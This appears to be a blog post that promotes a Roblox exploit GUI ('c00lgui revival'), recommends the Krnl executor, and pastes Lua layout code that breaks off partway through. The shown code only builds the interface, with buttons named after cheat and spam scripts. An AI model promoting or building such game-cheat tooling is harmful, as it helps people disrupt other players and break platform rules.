How to get the GUI

Silas RossSilas Ross
72 min read

Cool Kid hacks may be lost in history, but some people have continued to try to recreate them. The best current version I have found is https://github.com/c00lkiddzkj/ultimate-c00lgui-revival/blob/main/ultimate%20c00lgui%20revival, I will also have the code available below. Sadly, you're going to need a third-party executor. I would personally recommend using Krnl; you can find a download on their website, ‘Krnl.ca’. Currently, I don’t think they have a working Windows version.

-- Gui to Lua
-- Version: 3.2

-- Instances:

local CoolGui = Instance.new("ScreenGui")
local cope = Instance.new("TextButton")
local settings = Instance.new("Frame")
local titles = Instance.new("TextLabel")
local smain = Instance.new("Frame")
local sdidlabel = Instance.new("TextLabel")
local bgtlabel = Instance.new("TextLabel")
local sdid = Instance.new("TextBox")
local bgt = Instance.new("TextBox")
local swsjhlabel = Instance.new("TextLabel")
local sglabel = Instance.new("TextLabel")
local swsjh = Instance.new("TextBox")
local sg = Instance.new("TextBox")
local sidlabel = Instance.new("TextLabel")
local sid = Instance.new("TextBox")
local fps = Instance.new("TextLabel")
local size = Instance.new("TextLabel")
local time = Instance.new("TextLabel")
local checkrfe = Instance.new("TextLabel")
local suslabel = Instance.new("TextLabel")
local sus = Instance.new("TextBox")
local rlabel = Instance.new("TextLabel")
local glabel = Instance.new("TextLabel")
local blabel = Instance.new("TextLabel")
local r = Instance.new("TextBox")
local g = Instance.new("TextBox")
local b = Instance.new("TextBox")
local stlabel = Instance.new("TextLabel")
local st = Instance.new("TextBox")
local sbutton = Instance.new("TextButton")
local main = Instance.new("Frame")
local title = Instance.new("TextLabel")
local left = Instance.new("TextButton")
local right = Instance.new("TextButton")
local page1 = Instance.new("Frame")
local fes = Instance.new("Frame")
local sectitle = Instance.new("TextLabel")
local button = Instance.new("TextButton")
local button_2 = Instance.new("TextButton")
local button_3 = Instance.new("TextButton")
local button_4 = Instance.new("TextButton")
local button_5 = Instance.new("TextButton")
local button_6 = Instance.new("TextButton")
local button_7 = Instance.new("TextButton")
local button_8 = Instance.new("TextButton")
local button_9 = Instance.new("TextButton")
local button_10 = Instance.new("TextButton")
local button_11 = Instance.new("TextButton")
local button_12 = Instance.new("TextButton")
local button_13 = Instance.new("TextButton")
local button_14 = Instance.new("TextButton")
local lp = Instance.new("Frame")
local sectitle_2 = Instance.new("TextLabel")
local button_15 = Instance.new("TextButton")
local button_16 = Instance.new("TextButton")
local button_17 = Instance.new("TextButton")
local button_18 = Instance.new("TextButton")
local button_19 = Instance.new("TextButton")
local button_20 = Instance.new("TextButton")
local button_21 = Instance.new("TextButton")
local button_22 = Instance.new("TextButton")
local button_23 = Instance.new("TextButton")
local button_24 = Instance.new("TextButton")
local pgname = Instance.new("TextLabel")
local page3 = Instance.new("Frame")
local guir = Instance.new("Frame")
local sectitle_3 = Instance.new("TextLabel")
local button_25 = Instance.new("TextButton")
local button_26 = Instance.new("TextButton")
local button_27 = Instance.new("TextButton")
local button_28 = Instance.new("TextButton")
local button_29 = Instance.new("TextButton")
local button_30 = Instance.new("TextButton")
local button_31 = Instance.new("TextButton")
local button_32 = Instance.new("TextButton")
local button_33 = Instance.new("TextButton")
local button_34 = Instance.new("TextButton")
local misc = Instance.new("Frame")
local sectitle_4 = Instance.new("TextLabel")
local button_35 = Instance.new("TextButton")
local button_36 = Instance.new("TextButton")
local button_37 = Instance.new("TextButton")
local button_38 = Instance.new("TextButton")
local button_39 = Instance.new("TextButton")
local button_40 = Instance.new("TextButton")
local button_41 = Instance.new("TextButton")
local button_42 = Instance.new("TextButton")
local pgname_2 = Instance.new("TextLabel")
local page2 = Instance.new("Frame")
local fds = Instance.new("Frame")
local sectitle_5 = Instance.new("TextLabel")
local button_43 = Instance.new("TextButton")
local button_44 = Instance.new("TextButton")
local button_45 = Instance.new("TextButton")
local button_46 = Instance.new("TextButton")
local btools = Instance.new("Frame")
local sectitle_6 = Instance.new("TextLabel")
local button_47 = Instance.new("TextButton")
local button_48 = Instance.new("TextButton")
local button_49 = Instance.new("TextButton")
local button_50 = Instance.new("TextButton")
local button_51 = Instance.new("TextButton")
local button_52 = Instance.new("TextButton")
local button_53 = Instance.new("TextButton")
local button_54 = Instance.new("TextButton")
local button_55 = Instance.new("TextButton")
local button_56 = Instance.new("TextButton")
local button_57 = Instance.new("TextButton")
local pgname_3 = Instance.new("TextLabel")
local page4 = Instance.new("Frame")
local pres = Instance.new("Frame")
local sectitle_7 = Instance.new("TextLabel")
local button_58 = Instance.new("TextButton")
local button_59 = Instance.new("TextButton")
local button_60 = Instance.new("TextButton")
local button_61 = Instance.new("TextButton")
local button_62 = Instance.new("TextButton")
local button_63 = Instance.new("TextButton")
local creds = Instance.new("Frame")
local credits = Instance.new("TextLabel")
local pgname_4 = Instance.new("TextLabel")

--Properties:

CoolGui.Name = "CoolGui"
CoolGui.Parent = game.Players.LocalPlayer.PlayerGui
CoolGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
CoolGui.ResetOnSpawn = false

cope.Name = "cope"
cope.Parent = CoolGui
cope.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
cope.BorderColor3 = Color3.fromRGB(255, 0, 0)
cope.BorderSizePixel = 3
cope.LayoutOrder = 13
cope.Position = UDim2.new(-0.000998668605, 0, 0.962397218, 0)
cope.Size = UDim2.new(0, 300, 0, 20)
cope.ZIndex = 3
cope.Font = Enum.Font.SourceSans
cope.Text = "Close"
cope.TextColor3 = Color3.fromRGB(255, 255, 255)
cope.TextSize = 18.000

settings.Name = "settings"
settings.Parent = CoolGui
settings.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
settings.BorderColor3 = Color3.fromRGB(255, 0, 0)
settings.BorderSizePixel = 3
settings.Position = UDim2.new(0.280000001, 3, 0.294712126, 0)
settings.Size = UDim2.new(0, 300, 0, 400)
settings.ZIndex = 2

titles.Name = "titles"
titles.Parent = settings
titles.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
titles.BorderColor3 = Color3.fromRGB(255, 0, 0)
titles.BorderSizePixel = 3
titles.LayoutOrder = 3
titles.Size = UDim2.new(0, 300, 0, 40)
titles.Font = Enum.Font.SourceSans
titles.Text = "Settings"
titles.TextColor3 = Color3.fromRGB(255, 255, 255)
titles.TextSize = 24.000

smain.Name = "smain"
smain.Parent = settings
smain.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
smain.BorderColor3 = Color3.fromRGB(255, 0, 0)
smain.BorderSizePixel = 3
smain.Position = UDim2.new(0.00333363842, 0, 0.100000001, 0)
smain.Size = UDim2.new(0, 298, 0, 359)

sdidlabel.Name = "sdidlabel"
sdidlabel.Parent = smain
sdidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdidlabel.BorderSizePixel = 3
sdidlabel.Size = UDim2.new(0, 149, 0, 33)
sdidlabel.ZIndex = 3
sdidlabel.Font = Enum.Font.SourceSansBold
sdidlabel.Text = "Skybox/Decal ID"
sdidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sdidlabel.TextSize = 14.000

bgtlabel.Name = "bgtlabel"
bgtlabel.Parent = smain
bgtlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgtlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgtlabel.BorderSizePixel = 3
bgtlabel.Position = UDim2.new(0.5, 0, 0, 0)
bgtlabel.Size = UDim2.new(0, 149, 0, 33)
bgtlabel.ZIndex = 3
bgtlabel.Font = Enum.Font.SourceSansBold
bgtlabel.Text = "Billboard Gui Text"
bgtlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
bgtlabel.TextSize = 14.000

sdid.Name = "sdid"
sdid.Parent = smain
sdid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sdid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sdid.BorderSizePixel = 3
sdid.Position = UDim2.new(0, 0, 0.0919220075, 0)
sdid.Size = UDim2.new(0, 149, 0, 28)
sdid.ZIndex = 3
sdid.Font = Enum.Font.SourceSans
sdid.Text = "433517917"
sdid.TextColor3 = Color3.fromRGB(255, 255, 255)
sdid.TextSize = 14.000
sdid.TextWrapped = true

bgt.Name = "bgt"
bgt.Parent = smain
bgt.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
bgt.BorderColor3 = Color3.fromRGB(255, 0, 0)
bgt.BorderSizePixel = 3
bgt.Position = UDim2.new(0.5, 0, 0.0919220075, 0)
bgt.Size = UDim2.new(0, 149, 0, 28)
bgt.ZIndex = 3
bgt.Font = Enum.Font.SourceSans
bgt.Text = "c00lkidd revival"
bgt.TextColor3 = Color3.fromRGB(255, 255, 255)
bgt.TextSize = 14.000
bgt.TextWrapped = true

swsjhlabel.Name = "swsjhlabel"
swsjhlabel.Parent = smain
swsjhlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjhlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjhlabel.BorderSizePixel = 3
swsjhlabel.Position = UDim2.new(0, 0, 0.169916436, 0)
swsjhlabel.Size = UDim2.new(0, 74, 0, 33)
swsjhlabel.ZIndex = 3
swsjhlabel.Font = Enum.Font.SourceSansBold
swsjhlabel.Text = "Set WS/JH"
swsjhlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjhlabel.TextSize = 14.000

sglabel.Name = "sglabel"
sglabel.Parent = smain
sglabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sglabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sglabel.BorderSizePixel = 3
sglabel.Position = UDim2.new(0.241610736, 0, 0.169916436, 0)
sglabel.Size = UDim2.new(0, 74, 0, 33)
sglabel.ZIndex = 3
sglabel.Font = Enum.Font.SourceSansBold
sglabel.Text = "Set Gravity"
sglabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sglabel.TextSize = 14.000

swsjh.Name = "swsjh"
swsjh.Parent = smain
swsjh.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
swsjh.BorderColor3 = Color3.fromRGB(255, 0, 0)
swsjh.BorderSizePixel = 3
swsjh.Position = UDim2.new(0, 0, 0.261838436, 0)
swsjh.Size = UDim2.new(0, 72, 0, 28)
swsjh.ZIndex = 3
swsjh.Font = Enum.Font.SourceSans
swsjh.Text = "50"
swsjh.TextColor3 = Color3.fromRGB(255, 255, 255)
swsjh.TextSize = 14.000
swsjh.TextWrapped = true

sg.Name = "sg"
sg.Parent = smain
sg.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sg.BorderColor3 = Color3.fromRGB(255, 0, 0)
sg.BorderSizePixel = 3
sg.Position = UDim2.new(0.241610736, 0, 0.261838436, 0)
sg.Size = UDim2.new(0, 74, 0, 28)
sg.ZIndex = 3
sg.Font = Enum.Font.SourceSans
sg.Text = "100"
sg.TextColor3 = Color3.fromRGB(255, 255, 255)
sg.TextSize = 14.000
sg.TextWrapped = true

sidlabel.Name = "sidlabel"
sidlabel.Parent = smain
sidlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sidlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
sidlabel.BorderSizePixel = 3
sidlabel.Position = UDim2.new(0.5, 0, 0.169916436, 0)
sidlabel.Size = UDim2.new(0, 149, 0, 33)
sidlabel.ZIndex = 3
sidlabel.Font = Enum.Font.SourceSansBold
sidlabel.Text = "Music ID"
sidlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
sidlabel.TextSize = 14.000

sid.Name = "sid"
sid.Parent = smain
sid.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sid.BorderColor3 = Color3.fromRGB(255, 0, 0)
sid.BorderSizePixel = 3
sid.Position = UDim2.new(0.5, 0, 0.261838436, 0)
sid.Size = UDim2.new(0, 149, 0, 28)
sid.ZIndex = 3
sid.Font = Enum.Font.SourceSans
sid.Text = ""
sid.TextColor3 = Color3.fromRGB(255, 255, 255)
sid.TextSize = 14.000
sid.TextWrapped = true

fps.Name = "fps"
fps.Parent = smain
fps.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fps.BorderColor3 = Color3.fromRGB(255, 0, 0)
fps.BorderSizePixel = 3
fps.Position = UDim2.new(0, 0, 0.339832872, 0)
fps.Size = UDim2.new(0, 149, 0, 33)
fps.ZIndex = 3
fps.Font = Enum.Font.SourceSans
fps.Text = "FPS: "
fps.TextColor3 = Color3.fromRGB(255, 255, 255)
fps.TextSize = 14.000

size.Name = "size"
size.Parent = smain
size.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
size.BorderColor3 = Color3.fromRGB(255, 0, 0)
size.BorderSizePixel = 3
size.Position = UDim2.new(0, 0, 0.431754887, 0)
size.Size = UDim2.new(0, 149, 0, 33)
size.ZIndex = 3
size.Font = Enum.Font.SourceSans
size.Text = "Server Size: "
size.TextColor3 = Color3.fromRGB(255, 255, 255)
size.TextSize = 14.000

time.Name = "time"
time.Parent = smain
time.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
time.BorderColor3 = Color3.fromRGB(255, 0, 0)
time.BorderSizePixel = 3
time.Position = UDim2.new(0, 0, 0.523676872, 0)
time.Size = UDim2.new(0, 149, 0, 33)
time.ZIndex = 3
time.Font = Enum.Font.SourceSans
time.Text = "Server Time: "
time.TextColor3 = Color3.fromRGB(255, 255, 255)
time.TextSize = 14.000
time.TextWrapped = true

checkrfe.Name = "checkrfe"
checkrfe.Parent = smain
checkrfe.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
checkrfe.BorderColor3 = Color3.fromRGB(255, 0, 0)
checkrfe.BorderSizePixel = 3
checkrfe.Position = UDim2.new(0.5, 0, 0.339832872, 0)
checkrfe.Size = UDim2.new(0, 149, 0, 33)
checkrfe.ZIndex = 3
checkrfe.Font = Enum.Font.SourceSans
checkrfe.Text = "Loading.."
checkrfe.TextColor3 = Color3.fromRGB(255, 255, 255)
checkrfe.TextSize = 14.000
checkrfe.TextWrapped = true

suslabel.Name = "suslabel"
suslabel.Parent = smain
suslabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
suslabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
suslabel.BorderSizePixel = 3
suslabel.Position = UDim2.new(0, 0, 0.615598857, 0)
suslabel.Size = UDim2.new(0, 146, 0, 33)
suslabel.ZIndex = 3
suslabel.Font = Enum.Font.SourceSansBold
suslabel.Text = "Set Username"
suslabel.TextColor3 = Color3.fromRGB(255, 255, 255)
suslabel.TextSize = 14.000

sus.Name = "sus"
sus.Parent = smain
sus.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sus.BorderColor3 = Color3.fromRGB(255, 0, 0)
sus.BorderSizePixel = 3
sus.Position = UDim2.new(0, 0, 0.707520902, 0)
sus.Size = UDim2.new(0, 146, 0, 28)
sus.ZIndex = 3
sus.Font = Enum.Font.SourceSans
sus.Text = "c00lkidd"
sus.TextColor3 = Color3.fromRGB(255, 255, 255)
sus.TextSize = 14.000
sus.TextWrapped = true

rlabel.Name = "rlabel"
rlabel.Parent = smain
rlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
rlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
rlabel.BorderSizePixel = 3
rlabel.Position = UDim2.new(0.5, 0, 0.615598857, 0)
rlabel.Size = UDim2.new(0, 49, 0, 33)
rlabel.ZIndex = 3
rlabel.Font = Enum.Font.SourceSansBold
rlabel.Text = "R"
rlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
rlabel.TextSize = 14.000

glabel.Name = "glabel"
glabel.Parent = smain
glabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
glabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
glabel.BorderSizePixel = 3
glabel.Position = UDim2.new(0.667785227, 0, 0.615598857, 0)
glabel.Size = UDim2.new(0, 49, 0, 33)
glabel.ZIndex = 3
glabel.Font = Enum.Font.SourceSansBold
glabel.Text = "G"
glabel.TextColor3 = Color3.fromRGB(255, 255, 255)
glabel.TextSize = 14.000

blabel.Name = "blabel"
blabel.Parent = smain
blabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
blabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
blabel.BorderSizePixel = 3
blabel.Position = UDim2.new(0.832214773, 0, 0.615598857, 0)
blabel.Size = UDim2.new(0, 49, 0, 33)
blabel.ZIndex = 3
blabel.Font = Enum.Font.SourceSansBold
blabel.Text = "B"
blabel.TextColor3 = Color3.fromRGB(255, 255, 255)
blabel.TextSize = 14.000

r.Name = "r"
r.Parent = smain
r.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
r.BorderColor3 = Color3.fromRGB(255, 0, 0)
r.BorderSizePixel = 3
r.Position = UDim2.new(0.5, 0, 0.707520902, 0)
r.Size = UDim2.new(0, 50, 0, 28)
r.ZIndex = 3
r.Font = Enum.Font.SourceSans
r.Text = "255"
r.TextColor3 = Color3.fromRGB(255, 255, 255)
r.TextSize = 14.000
r.TextWrapped = true

g.Name = "g"
g.Parent = smain
g.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
g.BorderColor3 = Color3.fromRGB(255, 0, 0)
g.BorderSizePixel = 3
g.Position = UDim2.new(0.667785227, 0, 0.707520902, 0)
g.Size = UDim2.new(0, 50, 0, 28)
g.ZIndex = 3
g.Font = Enum.Font.SourceSans
g.Text = "0"
g.TextColor3 = Color3.fromRGB(255, 255, 255)
g.TextSize = 14.000
g.TextWrapped = true

b.Name = "b"
b.Parent = smain
b.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
b.BorderColor3 = Color3.fromRGB(255, 0, 0)
b.BorderSizePixel = 3
b.Position = UDim2.new(0.832214773, 0, 0.707520902, 0)
b.Size = UDim2.new(0, 50, 0, 28)
b.ZIndex = 3
b.Font = Enum.Font.SourceSans
b.Text = "0"
b.TextColor3 = Color3.fromRGB(255, 255, 255)
b.TextSize = 14.000
b.TextWrapped = true

stlabel.Name = "stlabel"
stlabel.Parent = smain
stlabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
stlabel.BorderColor3 = Color3.fromRGB(255, 0, 0)
stlabel.BorderSizePixel = 3
stlabel.Position = UDim2.new(0.5, 0, 0.431754887, 0)
stlabel.Size = UDim2.new(0, 148, 0, 33)
stlabel.ZIndex = 3
stlabel.Font = Enum.Font.SourceSansBold
stlabel.Text = "Set Spam Text"
stlabel.TextColor3 = Color3.fromRGB(255, 255, 255)
stlabel.TextSize = 14.000

st.Name = "st"
st.Parent = smain
st.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
st.BorderColor3 = Color3.fromRGB(255, 0, 0)
st.BorderSizePixel = 3
st.Position = UDim2.new(0.5, 0, 0.523676872, 0)
st.Size = UDim2.new(0, 149, 0, 30)
st.ZIndex = 4
st.Font = Enum.Font.SourceSans
st.Text = "join team c00lkidd!"
st.TextColor3 = Color3.fromRGB(255, 255, 255)
st.TextSize = 14.000
st.TextWrapped = true

sbutton.Name = "sbutton"
sbutton.Parent = settings
sbutton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sbutton.BorderColor3 = Color3.fromRGB(255, 0, 0)
sbutton.BorderSizePixel = 3
sbutton.Position = UDim2.new(1, 0, 0, 0)
sbutton.Size = UDim2.new(0, 27, 1, 0)
sbutton.ZIndex = 2
sbutton.Font = Enum.Font.SourceSans
sbutton.Text = "<"
sbutton.TextColor3 = Color3.fromRGB(255, 255, 255)
sbutton.TextSize = 48.000

main.Name = "main"
main.Parent = CoolGui
main.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
main.BorderColor3 = Color3.fromRGB(255, 0, 0)
main.BorderSizePixel = 3
main.Position = UDim2.new(-0.00299600535, 3, 0.294712126, 0)
main.Size = UDim2.new(0, 300, 0, 400)
main.ZIndex = 2

title.Name = "title"
title.Parent = main
title.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
title.BorderColor3 = Color3.fromRGB(255, 0, 0)
title.BorderSizePixel = 3
title.LayoutOrder = 3
title.Position = UDim2.new(-0.00333333341, 0, 0, 0)
title.Size = UDim2.new(0, 300, 0, 40)
title.Font = Enum.Font.SourceSans
title.Text = "c00lgui revival by Hyperion (EDITED)"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.TextSize = 24.000

left.Name = "left"
left.Parent = main
left.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
left.BorderColor3 = Color3.fromRGB(255, 0, 0)
left.BorderSizePixel = 3
left.Position = UDim2.new(0, 0, 0.100000001, 0)
left.Size = UDim2.new(0, 149, 0, 33)
left.Font = Enum.Font.SourceSans
left.Text = "<"
left.TextColor3 = Color3.fromRGB(255, 255, 255)
left.TextSize = 48.000

right.Name = "right"
right.Parent = main
right.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
right.BorderColor3 = Color3.fromRGB(255, 0, 0)
right.BorderSizePixel = 3
right.Position = UDim2.new(0.49666667, 0, 0.100000001, 0)
right.Size = UDim2.new(0, 149, 0, 33)
right.Font = Enum.Font.SourceSans
right.Text = ">"
right.TextColor3 = Color3.fromRGB(255, 255, 255)
right.TextSize = 48.000

page1.Name = "page1"
page1.Parent = main
page1.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page1.BorderColor3 = Color3.fromRGB(255, 0, 0)
page1.BorderSizePixel = 3
page1.Position = UDim2.new(0, 0, 0.182500005, 0)
page1.Size = UDim2.new(0, 298, 0, 306)

fes.Name = "fes"
fes.Parent = page1
fes.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fes.BorderColor3 = Color3.fromRGB(255, 0, 0)
fes.BorderSizePixel = 3
fes.Size = UDim2.new(0, 149, 0, 306)

sectitle.Name = "sectitle"
sectitle.Parent = fes
sectitle.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle.BorderSizePixel = 3
sectitle.Size = UDim2.new(0, 149, 0, 30)
sectitle.Font = Enum.Font.SourceSansBold
sectitle.Text = "FE Scripts"
sectitle.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle.TextSize = 14.000

button.Name = "button"
button.Parent = fes
button.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button.BorderColor3 = Color3.fromRGB(255, 0, 0)
button.BorderSizePixel = 3
button.Position = UDim2.new(0, 0, 0.0980392173, 0)
button.Size = UDim2.new(0, 71, 0, 25)
button.Font = Enum.Font.SourceSans
button.Text = "Glitch Sound"
button.TextColor3 = Color3.fromRGB(255, 255, 255)
button.TextSize = 14.000

button_2.Name = "button"
button_2.Parent = fes
button_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_2.BorderSizePixel = 3
button_2.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_2.Size = UDim2.new(0, 71, 0, 25)
button_2.Font = Enum.Font.SourceSans
button_2.Text = "Dank Engine"
button_2.TextColor3 = Color3.fromRGB(255, 255, 255)
button_2.TextSize = 14.000

button_3.Name = "button"
button_3.Parent = fes
button_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_3.BorderSizePixel = 3
button_3.Position = UDim2.new(0, 0, 0.179738566, 0)
button_3.Size = UDim2.new(0, 71, 0, 25)
button_3.Font = Enum.Font.SourceSans
button_3.Text = "Lightsaber"
button_3.TextColor3 = Color3.fromRGB(255, 255, 255)
button_3.TextSize = 14.000

button_4.Name = "button"
button_4.Parent = fes
button_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_4.BorderSizePixel = 3
button_4.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_4.Size = UDim2.new(0, 71, 0, 25)
button_4.Font = Enum.Font.SourceSans
button_4.Text = "sing c00lkidd"
button_4.TextColor3 = Color3.fromRGB(255, 255, 255)
button_4.TextSize = 14.000

button_5.Name = "button"
button_5.Parent = fes
button_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_5.BorderSizePixel = 3
button_5.Position = UDim2.new(0, 0, 0.261437923, 0)
button_5.Size = UDim2.new(0, 71, 0, 25)
button_5.Font = Enum.Font.SourceSans
button_5.Text = "Nameless FE"
button_5.TextColor3 = Color3.fromRGB(255, 255, 255)
button_5.TextSize = 14.000

button_6.Name = "button"
button_6.Parent = fes
button_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_6.BorderSizePixel = 3
button_6.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_6.Size = UDim2.new(0, 71, 0, 25)
button_6.Font = Enum.Font.SourceSans
button_6.Text = "Infinite Yield"
button_6.TextColor3 = Color3.fromRGB(255, 255, 255)
button_6.TextSize = 14.000

button_7.Name = "button"
button_7.Parent = fes
button_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_7.BorderSizePixel = 3
button_7.Position = UDim2.new(0, 0, 0.343137264, 0)
button_7.Size = UDim2.new(0, 71, 0, 25)
button_7.Font = Enum.Font.SourceSans
button_7.Text = "Fedora Admin"
button_7.TextColor3 = Color3.fromRGB(255, 255, 255)
button_7.TextSize = 14.000

button_8.Name = "button"
button_8.Parent = fes
button_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_8.BorderSizePixel = 3
button_8.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_8.Size = UDim2.new(0, 71, 0, 25)
button_8.Font = Enum.Font.SourceSans
button_8.Text = "OPFinality"
button_8.TextColor3 = Color3.fromRGB(255, 255, 255)
button_8.TextSize = 14.000

button_9.Name = "button"
button_9.Parent = fes
button_9.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_9.BorderSizePixel = 3
button_9.Position = UDim2.new(0, 0, 0.424836606, 0)
button_9.Size = UDim2.new(0, 71, 0, 25)
button_9.Font = Enum.Font.SourceSans
button_9.Text = "Illuminati"
button_9.TextColor3 = Color3.fromRGB(255, 255, 255)
button_9.TextSize = 14.000

button_10.Name = "button"
button_10.Parent = fes
button_10.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_10.BorderSizePixel = 3
button_10.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_10.Size = UDim2.new(0, 71, 0, 25)
button_10.Font = Enum.Font.SourceSans
button_10.Text = "Script Hub"
button_10.TextColor3 = Color3.fromRGB(255, 255, 255)
button_10.TextSize = 14.000

button_11.Name = "button"
button_11.Parent = fes
button_11.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_11.BorderSizePixel = 3
button_11.Position = UDim2.new(0, 0, 0.506535947, 0)
button_11.Size = UDim2.new(0, 71, 0, 25)
button_11.Font = Enum.Font.SourceSans
button_11.Text = "Executor"
button_11.TextColor3 = Color3.fromRGB(255, 255, 255)
button_11.TextSize = 14.000

button_12.Name = "button"
button_12.Parent = fes
button_12.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_12.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_12.BorderSizePixel = 3
button_12.Position = UDim2.new(0.523489952, 0, 0.506535947, 0)
button_12.Size = UDim2.new(0, 71, 0, 25)
button_12.Font = Enum.Font.SourceSans
button_12.Text = "Energize FE"
button_12.TextColor3 = Color3.fromRGB(255, 255, 255)
button_12.TextSize = 14.000

button_13.Name = "button"
button_13.Parent = fes
button_13.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_13.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_13.BorderSizePixel = 3
button_13.Position = UDim2.new(0, 0, 0.588235319, 0)
button_13.Size = UDim2.new(0, 71, 0, 25)
button_13.Font = Enum.Font.SourceSans
button_13.Text = "dev-uzi"
button_13.TextColor3 = Color3.fromRGB(255, 255, 255)
button_13.TextSize = 14.000

button_14.Name = "button"
button_14.Parent = fes
button_14.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_14.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_14.BorderSizePixel = 3
button_14.Position = UDim2.new(0.523489952, 0, 0.588235319, 0)
button_14.Size = UDim2.new(0, 71, 0, 25)
button_14.Font = Enum.Font.SourceSans
button_14.Text = "Unanchored2Plr"
button_14.TextColor3 = Color3.fromRGB(255, 255, 255)
button_14.TextSize = 14.000

lp.Name = "lp"
lp.Parent = page1
lp.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
lp.BorderColor3 = Color3.fromRGB(255, 0, 0)
lp.BorderSizePixel = 3
lp.Position = UDim2.new(0.5, 0, 0, 0)
lp.Size = UDim2.new(0, 149, 0, 306)

sectitle_2.Name = "sectitle"
sectitle_2.Parent = lp
sectitle_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_2.BorderSizePixel = 3
sectitle_2.Size = UDim2.new(0, 149, 0, 30)
sectitle_2.Font = Enum.Font.SourceSansBold
sectitle_2.Text = "LocalPlayer"
sectitle_2.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_2.TextSize = 14.000

button_15.Name = "button"
button_15.Parent = lp
button_15.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_15.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_15.BorderSizePixel = 3
button_15.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_15.Size = UDim2.new(0, 71, 0, 25)
